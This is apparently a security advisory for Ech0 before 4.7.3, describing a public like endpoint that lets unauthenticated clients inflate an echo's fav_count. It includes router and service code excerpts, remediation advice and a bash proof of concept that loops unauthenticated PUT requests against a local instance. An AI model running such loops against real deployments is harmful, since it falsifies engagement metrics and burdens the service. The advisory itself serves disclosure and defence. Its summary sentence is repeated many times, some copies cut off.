Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.
### Summary
**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.
### Description
**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding.
**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.
**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly.
### Affected files
| Public route registration | `internal/router/echo.go` |
| Like mutation (no auth check) | `internal/service/echo/echo.go` |
| Handler | `internal/handler/echo/echo.go` |
### Vulnerable / relevant code
**Public PUT route:**
```11:13:Ech0/internal/router/echo.go
// Public
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())
```
**Service does not use viewer / rate limit:**
```244:248:Ech0/internal/service/echo/echo.go
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
return echoService.echoRepository.LikeEcho(txCtx, id)
})
}
```
### Execution flow
1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).
2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.
3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**.
4. Repeat N times → count increases by N.
### Proof of concept
```bash
BASE="http://127.0.0.1:6277"
OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')
ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
-H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')
# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done
# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'
```
**Observed proof (manual test):**
- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`).
- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.
<img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" />
### Impact
**Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy.
high-volume loops add DB write load; possible abuse against availability at scale.
**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.
## Remediation
Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.
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Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…
Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can sen…